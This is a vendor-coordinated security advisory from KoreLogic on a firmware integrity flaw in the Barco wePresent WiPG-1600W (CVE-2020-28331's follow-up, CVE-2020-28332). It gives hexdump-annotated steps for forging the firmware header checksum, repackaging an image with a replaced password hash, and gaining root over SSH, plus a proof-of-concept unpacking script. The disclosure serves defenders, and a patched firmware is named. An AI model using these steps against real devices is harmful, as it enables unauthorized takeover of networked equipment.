KL-001-2020-009 : Barco wePresent Insecure Firmware Image Title: Barco wePresent Insecure Firmware Image Advisory ID: KL-001-2020-009 Publication Date: 2020.11.20 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2020-009.txt 1. Vulnerability Details Affected Vendor: Barco Affected Product: wePresent WiPG-1600W Affected Version: 2.5.1.8, 2.5.0.25, 2.5.0.24, 2.4.1.19 Platform: Embedded Linux CWE Classification: CWE-494: Download of Code Without Integrity Check CVE ID: CVE-2020-28332 2. Vulnerability Description The Barco wePresent firmware does not perform verification of digitally signed firmware updates and is susceptible to processing and installing modified/malicious images. 3. Technical Description The Barco wePresent firmware unpacks partially using binwalk. Using 'dd' it is possible to extract the 4 component files in the firmware. They are: - a 512 byte header - a cramfs file system - a uBoot - and a tar.gz'd set of files (where the /etc/shadow file lives) The initial attempt at modifying the firmware failed when the device computed a checksum and denied processing the modified firmware. Knowing that a checksum was used in validating firmware, the focus was on the header file. Most of the fields in the header file are text-based and easily identifiable. There were, however, fields whose purpose were not immediately obvious. After some thought and processing of the bytes, the following header file structure was identified. The following is hexdump output with comments interspersed. $ hexdump -C header 00000000 61 77 2d 66 68 30 30 33 02 05 01 08 14 14 02 07 |aw-fh003........| (version=2.5.1.8) (0x14 = 20; date = 2020/02/07 00000010 61 77 69 6e 64 2e 57 69 50 47 2d 31 36 30 30 2e |awind.WiPG-1600.| 00000020 57 4d 38 37 35 30 00 00 00 00 00 00 00 00 00 00 |WM8750..........| 00000030 57 50 53 00 00 00 00 00 00 00 00 00 00 00 00 00 |WPS.............| 00000040 41 57 49 00 00 00 00 00 00 00 00 00 00 00 00 00 |AWI.............| 00000050 64 65 66 61 75 6c 74 00 00 00 00 00 00 00 00 00 |default.........| 00000060 f3 ec 90 07 08 22 ab cf 64 65 66 61 75 6c 74 00 |....."..default.| (0x0790ecf3 = 126938355 bytes = filesize of the firmware without the first 512 bytes, which is the header) (0xcfab2208 = sum32 checksum of the firmware without the first 512 bytes, which is the header) 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 61 77 2d 65 78 74 72 61 01 00 00 00 ff ff ff ff |aw-extra........| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000200 Generating a new firmware version involved gunzip'ing and untar'ing the filesystem, replacing the hash, and tar-gzip'ing back up. Once it is tar.gz, it is necessary to concatenate all parts of the new firmware together *without* the header file. Next, calculate the sum32 checksum on this file. With the new sum32 checksum and filesize of the tar.gz file, modify the new header file to look like: 00000000 61 77 2d 66 68 30 30 33 02 05 01 09 14 14 02 07 |aw-fh003........| 00000010 61 77 69 6e 64 2e 57 69 50 47 2d 31 36 30 30 2e |awind.WiPG-1600.| 00000020 57 4d 38 37 35 30 00 00 00 00 00 00 00 00 00 00 |WM8750..........| 00000030 57 50 53 00 00 00 00 00 00 00 00 00 00 00 00 00 |WPS.............| 00000040 41 57 49 00 00 00 00 00 00 00 00 00 00 00 00 00 |AWI.............| 00000050 64 65 66 61 75 6c 74 00 00 00 00 00 00 00 00 00 |default.........| 00000060 5f 2a 91 07 39 66 da cf 64 65 66 61 75 6c 74 00 |_*..9f..default.| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 61 77 2d 65 78 74 72 61 01 00 00 00 ff ff ff ff |aw-extra........| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000200 Now, concatenate the header file onto the new firmware to complete the firmware packaging. This new file can now be uploaded to the wePresent device. After the firmware update, the device will revert back to the default admin password of "admin". The steps in KL-001-2020-007 (CVE-2020-28331) can be run again to re-enable SSH, and now ssh in with a known root password. 4. Mitigation and Remediation Recommendation The vendor has released an updated firmware (2.5.3.12) which remediates the described vulnerability. Firmware and release notes are available at: https://www.barco.com/en/support/software/R33050104 5. Credit This vulnerability was discovered by Jim Becher (@jimbecher) and Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2020.08.24 - KoreLogic submits vulnerability details to Barco. 2020.08.25 - Barco acknowledges receipt and the intention to investigate. 2020.09.21 - Barco notifies KoreLogic that this issue, along with several others reported by KoreLogic, will require more than the standard 45 business day remediation timeline. Barco requests to delay coordinated disclosure until 2020.12.11. 2020.09.23 - KoreLogic agrees to 2020.12.11 coordinated disclosure. 2020.09.25 - Barco informs KoreLogic of their intent to acquire CVE number for this vulnerability. 2020.11.09 - Barco shares CVE number with KoreLogic and announces their intention to release the updated firmware ahead of schedule, on 2020.11.11. Request that KoreLogic delay public disclosure until 2020.11.20. 2020.11.11 - Barco firmware release. 2020.11.20 - KoreLogic public disclosure. 7. Proof of Concept $ more unpack-firmware.sh #!/bin/sh dd bs=512 if=$1 of=$1.header count=1 dd bs=512 if=$1 of=$1.cromfs skip=1 count=10240 dd bs=512 if=$1 of=$1.uboot skip=10241 count=6144 dd bs=512 if=$1 of=$1.fs.tar.gz skip=16385 $ ls -altr total 123972 drwxr-xr-x 5 user user 4096 Jul 17 21:12 .. drwxr-xr-x 2 user user 4096 Jul 17 21:12 . -rw-r--r-- 1 user user 126938867 Jul 17 21:12 awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad $ ./unpack-firmware.sh awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad 1+0 records in 1+0 records out 512 bytes copied, 0.000389048 s, 1.3 MB/s 10240+0 records in 10240+0 records out 5242880 bytes (5.2 MB, 5.0 MiB) copied, 0.0501995 s, 104 MB/s 6144+0 records in 6144+0 records out 3145728 bytes (3.1 MB, 3.0 MiB) copied, 0.0120293 s, 262 MB/s 231542+1 records in 231542+1 records out 118549747 bytes (119 MB, 113 MiB) copied, 0.388187 s, 305 MB/s $ file * awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad: data awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.cromfs: Linux Compressed ROM File System data, little endian size 4452352 version #2 sorted_dirs CRC 0xd1b0b3fa, edition 0, 2359 blocks, 918 files awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.fs.tar.gz: gzip compressed data, last modified: Fri Feb 7 05:57:05 2020, from Unix awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.header: data awind.WiPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.uboot: u-boot legacy uImage, Linux-2.6.32.9-default, Linux/ARM, OS Kernel Image (Not compressed), 2104776 bytes, Thu May 30 06:06:07 2019, Load Address: 0x00008000, Entry Point: 0x00008000, Header CRC: 0xB224BB24, Data CRC: 0xD50B7080 The contents of this advisory are copyright(c) 2020 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt